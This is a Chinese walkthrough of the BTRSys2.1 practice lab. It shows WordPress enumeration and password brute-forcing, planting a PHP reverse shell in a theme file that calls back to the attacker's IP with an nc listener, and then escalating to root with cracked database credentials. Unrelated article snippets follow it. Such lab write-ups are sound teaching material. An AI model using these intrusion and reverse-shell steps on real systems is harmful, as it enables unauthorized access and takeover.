OSCP系列靶场-Intermediate-BTRSys2.1保姆级

news2024/11/24 8:25:45

OSCP系列靶场-Intermediate-BTRSys2.1

目录

  • OSCP系列靶场-Intermediate-BTRSys2.1
    • 总结
    • 准备工作
    • 信息收集-端口扫描
      • 目标开放端口收集
      • 目标端口对应服务探测
    • 信息收集-端口测试
      • 21-FTP端口的信息收集
        • 21-FTP版本版本信息与MSF利用
        • 21-FTP端口匿名登录测试(成功)
        • 21-FTP端口-文件GET收集(无文件)
        • 21-FTP端口-PT上传测试(无法上传)
      • 22-SSH端口的信息收集
        • 22-SSH端口版本信息与MSF利用
        • 22-SSH协议支持的登录方式
        • 22-SSH手动登录尝试(无)
        • 22-SSH弱口令爆破(待定)
      • 80-HTTP端口的信息收集
        • 信息收集-HTML隐藏信息查看
        • 信息收集-目录扫描
          • 信息收集-目录扫描初步
        • 漏洞探测-nikto扫描
        • 信息收集-目录访问
      • 信息收集-漏洞扫描wpscan
    • 漏洞利用-getwebshell
      • 弱口令进入wp后台
      • 主题插件修改
      • 修改插件getwebshell
    • 内网遨游-getshell
      • 交互shell
      • FLAG1获取
      • 信息收集-内网基础信息收集
        • 检测Linux操作系统的发行版本
        • 检测Linux操作系统的内核版本
        • 检测当前用户的权限
        • 列举出所有的sudo文件
        • 列举出所有suid文件
        • /etc/passwd权限收集
        • /etc/shadow权限收集
        • getcap标志进程收集
        • 列举定时任务
        • 寻找root权限进程
        • 查看历史信息
      • 权限提升
      • 数据库配置信息发现
      • 数据库敏感信息发现
      • 解密md5密码
      • 登录btrisk用户
      • sudo-su提权
      • FLAG2获取
    • 后记

总结

getwebshell : 目录扫描 → 发现cms-wordpresswpscan专用扫描 → 扫描出账号 → 用字典爆破密码 → 登录wp后台 → 模板处修改 → 反弹shell

提 权 思 路 : history发现可疑操作 → wp配置文件发现mysql密码 → mysql发现用户md5密码 → 解密登录用户 → sudo su提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.233

  • 启动靶机
    获取目标机器IP → 192.168.234.50

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.234.50

PORT   STATE SERVICE                         CAST>  mtu 1500
21/tcp open  ftp                             
22/tcp open  ssh                             
80/tcp open  http      


开放的端口->21,22,80

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80 192.168.234.50

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

信息收集-端口测试

21-FTP端口的信息收集

21-FTP版本版本信息与MSF利用

通过nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
namp探测版本为vsftpd 3.0.3

# vsftpd 3.0.3配置文件一般在如下位置
/etc/vsftpd.conf

尝试利用msf搜索是否存在可利用漏洞

# 搜索对应脚本
msf6 > searchsploit vsftpd 3.0.3

远程拒绝服务 hhh 算了吧

21-FTP端口匿名登录测试(成功)

尝试匿名账号anonymous以及无密码进行登录测试

# 利用ftp协议+ip进行连接测试
ftp 192.168.234.50
Name: anonymous

21-FTP端口-文件GET收集(无文件)

登录FTP之后利用ls查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET下载文件

# binary 以二进制模式传输文件,保证文件完整
ftp > binary
# 查看目录结构
ftp > ls -al

21-FTP端口-PT上传测试(无法上传)

测试是否可以利用PUT上传文件

# 建立一个text.txt的文件测试是否能上传
touch text.txt
# put 上传文件
ftp > put text.txt

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.2p2 Ubuntu

# 搜索对应脚本
msf6 > searchsploit OpenSSH 7.2p2

发现搜索到可利用的和用户枚举有关(待定)

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root<span class="label label-primary">@192.168.234.50</span> -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root<span class="label label-primary">@192.168.234.50</span> -p 22
# 密码尝试
password &gt; root

弱密码尝试失败

22-SSH弱口令爆破(待定)

因为支持密码登录,后期没有思路的话尝试root账户的密码爆破,利用工具hydra

80-HTTP端口的信息收集

访问 http://192.168.234.50:80 不是CMS我们直接从HTML隐藏信息收集开始
主页就看到了一张图片

信息收集-HTML隐藏信息查看

# 利用html2text转换纯文本方便查看
curl http://192.168.234.50:80 | html2text

信息收集-目录扫描

信息收集-目录扫描初步
# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch -u http://192.168.234.50:80 -x 302,403,404
gobuster dir -u http://192.168.234.50:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000 &gt; gobuster.txt

静待结果

漏洞探测-nikto扫描

静待结果的同时尝试漏洞扫描

nikto -h http://192.168.234.50:80

提示差不多,也是wordpress

信息收集-目录访问

正常来说,我们不能放弃每个端点的访问
但是我们也要挑选优先级,发现了wordpressCMS

首先查看robots.txt也是提示wordpress

信息收集-漏洞扫描wpscan

针对wordpress最好的方法是用扫描器先

# 针对wordpress的专用扫描器
# -e枚举 ap枚举插件 u枚举用户名 t枚举主题
wpscan --url http://192.168.234.50:80/wordpress/ --enumerate ap,u,t

经过扫描发现了两个用户btriskadmin

发现用户就要尝试暴力破解啦
暴力破解的时候使用字典最好用cewl生成(主页只有图片)

# 账号做成字典
echo 'btrisk
admin' &gt; user.txt
# 暴力破解
wpscan --url http://192.168.234.50:80/wordpress/ -U user.txt -P /usr/share/wordlists/rockyou.txt


爆破了半天爆破出来了admin的密码admin 另一个难搞

漏洞利用-getwebshell

弱口令进入wp后台

扫描的同时戳到了wp的登录界面,尝试一下弱口令

http://192.168.234.50/wordpress/wp-login.php

好家伙,直接进来了(不然就尝试爆破密码进来咯)

主题插件修改

wordpress大部分的漏洞其实与插件有关,先找找插件
现在有的插件Edit Plugins好像也没什么


不敢直接编辑现有插件,怕会把wp弄崩
尝试上传一个php反弹shell发现不太行


换了一个地方


通过搜索决定编辑一个不太重要的php主题,改为php反弹shell

/wordpress/wp-content/themes/twentyfourteen/[内容]

尝试修改404.php


修改成功

修改插件getwebshell

# 利用cp命令cp一个到当前文件夹并且命名为shell.php
sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
# 开启监听
sudo nc -lvnp 6666

反弹shell配置

# 利用grep确定修改反弹shell_ip的第49行
grep -n "127.0.0.1" shell.php                
&gt; 49:$ip = '127.0.0.1';  // CHANGE THIS
# 同理监听端口是第50行
grep -n "1234" shell.php
50:$port = 1234;       // CHANGE THIS
# 利用sed命令替换里面的内容
sed -i '49s/127.0.0.1/192.168.45.233/' shell.php
sed -i '50s/1234/6666/' shell.php
# 利用sed查看49与50行是否修改成功
sed -n '49,50p' shell.php


复制shell.php的内容到模板中


访问成功获取进入内网的凭证

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

# 利用python获取交互shell 
python -c "import pty;pty.spawn('/bin/bash')";
# python失败使用python3
python3 -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

www-data<span class="label label-primary">@ubuntu</span>:/$ find / -name local.txt 2&gt;/dev/null
/home/btrisk/local.txt
www-data<span class="label label-primary">@ubuntu</span>:/$ cat /home/btrisk/local.txt
4b8be4c2f5286b2476df38d4e6467c8c

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
www-data<span class="label label-primary">@ubuntu</span>:/$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.2 LTS
Release:        16.04
Codename:       xenial

发行版本为Ubuntu 16.04.2,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

www-data<span class="label label-primary">@ubuntu</span>:/$ uname -a
Linux ubuntu 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

内核版本为4.4.0-62

检测当前用户的权限

www-data<span class="label label-primary">@ubuntu</span>:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
www-data<span class="label label-primary">@ubuntu</span>:/$ sudo -l
[sudo] password for www-data: admin
Sorry, try again.
[sudo] password for www-data: root
Sorry, user www-data may not run sudo on ubuntu.

发现需要密码

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
www-data<span class="label label-primary">@ubuntu</span>:/$ find / -perm -u=s -type f 2&gt;/dev/null
/bin/umount
/bin/su
/bin/ping
/bin/fusermount
/bin/mount
/bin/ntfs-3g
/bin/ping6
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/gpasswd

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

# 要注意是否是属主情况
www-data<span class="label label-primary">@ubuntu</span>:/$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1573 Mar 21  2017 /etc/passwd

/etc/shadow权限收集

  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
  • 如果/etc/shadow具有可读权限可以爆破密码
www-data<span class="label label-primary">@ubuntu</span>:/$ ls -al /etc/shadow
-rw-r----- 1 root shadow 1136 Mar  6  2020 /etc/shadow

getcap标志进程收集

高版本下suid列举不全,查看getcap

# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2&gt;/dev/null

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

# 寻找定时任务并修改进行提权
cat /etc/crontab

寻找root权限进程

# 调整行列,方便查询进程
stty rows 50 cols 250
# 查找进程,是否存在root权限进程
ps aux | grep root

查看历史信息

可能用户留下的历史信息具有有用的信息

history

权限提升

根据history发现了一些有趣的信息

数据库配置信息发现

www-data<span class="label label-primary">@ubuntu</span>:/var/www$ cd /var/www/html/wordpress
www-data<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ cat wp-config.php

存在数据库的账号以及密码

数据库敏感信息发现

利用这些登录数据库

mysql -u root -p 
rootpassword!


登录之后查看一些重要的信息

show databases;
use wordpress;
show tables;

重点查找用户信息

select * from wp_users;

发现了btrisk的密码a318e4507e5a74604aafb45e4741edd3md5加密

解密md5密码

尝试解密

echo 'a318e4507e5a74604aafb45e4741edd3' &gt; pass.hash
john pass.hash

大概率是md5

同时打开在线网站进行解密尝试
https://www.somd5.com/


发现密码为roottoor

登录btrisk用户

www-data<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ su btrisk
Password: roottoor

btrisk<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ 

sudo-su提权

测试发现可以用任意sudo

btrisk<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ sudo -l
[sudo] password for btrisk: roottoor

Matching Defaults entries for btrisk on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User btrisk may run the following commands on ubuntu:
    (ALL : ALL) ALL
    (ALL : ALL) ALL

利用su提权

btrisk<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ sudo su
root<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress# id    
uid=0(root) gid=0(root) groups=0(root)
root<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress# 

提权成功

FLAG2获取

root<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress# cat /root/proof.txt
cat /root/proof.txt
f994ec8ac722337b7c3b7d873013917a

后记

看到登录界面要养成随手一输弱口令的习惯

解密速度感人,kalicpu干满了,以后应该用hashcat解密

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1021870.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++中的深拷贝和浅拷贝介绍

对于基本类型的数据以及简单的对象,它们之间的拷贝非常简单,就是按位复制内存。例如: class Base{public:Base(): m_a(0), m_b(0){ }Base(int a, int b): m_a(a), m_b(b){ }private:int m_a;int m_b;};int main(){int a = 10;int b = a; //拷贝Base obj1(10, 20);Base obj2…

项目管理软件在项目中的这些作用,你知道吗?

现在项目管理软件成为各类企业必不可少的工具&#xff0c;给项目提供全面的视图、促进团队协作、实时跟踪和监控、优化资源利用、改善决策制定等优势。 它们可以帮助团队成员更好地组织和协作&#xff0c;是实现项目目标的必备工具。通过合理利用项目管理软件的功能和特点&…

87 # express 应用和创建应用的分离

创建应用的过程和应用本身要进行分离。路由和创建应用的过程也做一个分离。 下面实现创建应用的过程和应用本身要进行分离&#xff1a; express.js const Application require("./application");function createApplication() {// 通过类来实现分离操作return ne…

一篇文章告诉您立仪3D线激光位移传感器

激光位移传感器是利用激光技术进行测量的传感器。它由激光器、激光检测器和测量电路组成。激光传感器是新型测量仪表。能够精确非接触测量被测物体的位置、位移等变化。 可以测量位移、厚度、振动、距离、直径等精密的几何测量。激光有直线度好的优良特性&#xff0c;同样激光…

【MATLAB第75期】#源码分享 | 基于MATLAB的不规则数据插值实现时间序列数据扩充

【MATLAB第75期】#源码分享 | 基于MATLAB的不规则数据插值实现时间序列数据扩充 如时间数据以单位1为间隔排序&#xff0c; 可插间隔为0.5的数据 。 一、实现效果 1.规则间隔数据 2.非规则间隔数据 二、主程序代码 1.插值测试效果 %% 清空环境变量 warning off …

【送书活动1】强势挑战Java,Kotlin杀回TIOBE榜单Top 20!

⭐简单说两句⭐ 作者&#xff1a;后端小知识 CSDN个人主页&#xff1a;后端小知识 &#x1f50e;GZH&#xff1a;后端小知识 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; 强势挑战Java&#xff0c;Kotlin杀回TIOBE榜单Top 20&#xff01; …

python绘制钻头外径磨损图

import matplotlib.pyplot as plt import numpy as np srcpathrC:\Users\user\Documents\F1-21\data0.125-1.8.txtdef openreadtxt(file_name):data []with open(file_name, r) as file:file_data file.readlines() # 读取所有行for row in file_data:tmp_list row.split()…

跨境支付融合解析:有效解决跨境电商系统开发的支付问题

作为跨境电商系统开发的专家&#xff0c;我们深知支付问题对整个系统的重要性。在不同国家、不同支付体系的交叉领域里&#xff0c;跨境支付融合是一个引人注目的话题。本文将深入探讨跨境支付融合的必要性&#xff0c;分析其优势&#xff0c;并提供一系列解决方案&#xff0c;…

vue-element-admin项目部署 nginx动态代理 含Docker部署、 Jenkins构建

介绍三种方式&#xff1a; 1.直接部署到nginx中 2.用nginx docker镜像部署 3.使用Jenkins构建 1.直接用nginx部署 vue-element-admin项目下有两个.env文件&#xff0c;.env.production是生产环境的&#xff0c;.env.developpment是开发环境的 vue-element-admin默认用的是mock数…

ChatGPT竞争对手Writer,获得1亿美元融资;面向不同任务微调Llama-2经验总结

&#x1f989; AI新闻 &#x1f680; ChatGPT竞争对手Writer&#xff0c;获得1亿美元融资 摘要&#xff1a;美国生成式AI平台Writer宣布获得1亿美元的B轮融资。Writer提供类似于ChatGPT的功能&#xff0c;主要聚焦在企业领域&#xff0c;提供文本生成、总结摘要、文本纠错等服…

注解实现接口幂等性

一、什么是幂等性&#xff1f; 简单来说&#xff0c;就是对一个接口执行重复的多次请求&#xff0c;与一次请求所产生的结果是相同的&#xff0c;听起来非常容易理解&#xff0c;但要真正的在系统中要始终保持这个目标&#xff0c;是需要很严谨的设计的&#xff0c;在实际的生…

C++ 异常处理学习笔记

一、使用情况 1、数组越界&#xff1a;包括数组索引小于0&#xff0c;或者大于数组长度 2、空指针 可以抛出(throw)各种类型的异常&#xff0c;catch的地方接收就可以

电子产品的老化测试有哪些类型?

一、什么是老化测试&#xff1f;老化测试时&#xff0c;专用老化电路板上的元件将承受等于或高于其额定工作条件的压力&#xff0c;以消除任何在额定寿命之前过早失效的元件。这些测试条件包括温度、电压/电流、工作频率或指定为上限的任何其他测试条件。这些类型的压力测试有时…

java -jar后出现中文乱码

吹牛撒谎是道义上的灭亡,它势必引向政治上的灭亡。列宁 黑窗口执行一个jar包&#xff0c;发现程序运行后打印的日志全部出现中文乱码的情况&#xff0c;现记录一下解决的办法。 网上说dos窗口出现中文乱码有两种情况&#xff0c;一是运行jar包后程序输出的日志出现乱码&#x…

节省十倍代码,精益 Web 开发:Nue JS 的极简之道 | 开源日报 No.34

lodash/lodash Stars: 57.3k License: NOASSERTION lodash 是一个以 UMD 模块形式导出的 Lodash 库。 简化 JavaScript 编程&#xff0c;提供了一系列处理数组、数字、对象和字符串等操作的方法。模块化设计&#xff0c;方便迭代数组、对象和字符串&#xff1b;操作和测试值…

MPLS VPN跨域B

拓扑设计 拓扑介绍 如图&#xff0c;上海分公司与山东分公司之间为保证业务可以互通&#xff0c;需要使用MPLS VPN技术进行连接。且为了使设备减轻压力&#xff0c;只有拓扑中两边的设备需要建立VRF实例&#xff0c;其余设备不可以建立实例。因为网络需要经过联通与移动两个AS域…

2023最新最热五款CRM系统推荐,一文让你明白CRM系统是什么?

本文将为大家讲解&#xff1a;1、CRM是什么&#xff1b;2、CRM系统应该如何玩转&#xff1f;3、CRM实施要注意哪些问题&#xff1f;4、如何选择优质的CRM管理系统&#xff1f;5、2023最新最热五款CRM系统推荐。 一、 CRM是什么 CRM代表客户关系管理&#xff08;Customer Rela…

sentry安装self-hosted版,前端监控平台

一、下载self-hosted-23.7.2.tar.gz 二、解压 三、cd self-hosted-23.7.2然后执行./install.sh 四、查找python whereis python修改yum配置文件&#xff1a;vim /usr/bin/yum五、修改RUN apt-get update && apt-get install -y --no-install-recommends cron &…

[论文阅读]A ConvNet for the 2020s

摘要 视觉识别的咆哮的20年代开始于ViTs的引入&#xff0c;它很快取代了卷积神经网络&#xff0c;成为最先进的图像分类模型。另一方面&#xff0c;一个原始的ViT在用于一般的比如目标识别和语义分割的计算机视觉任务的时候面临困难。层次Transformer(例如&#xff0c;Swin-Tr…

Vc - Qt - “扩张“的窗口

该示例演示了一个"扩张的窗口"&#xff0c;主窗口的布局为水平布局&#xff0c;内置两个子窗口&#xff0c;采用定时器设置左边窗口的宽度&#xff0c;达到控制"扩张"的目的。 #include <QApplication> #include <QWidget> #include <QHBox…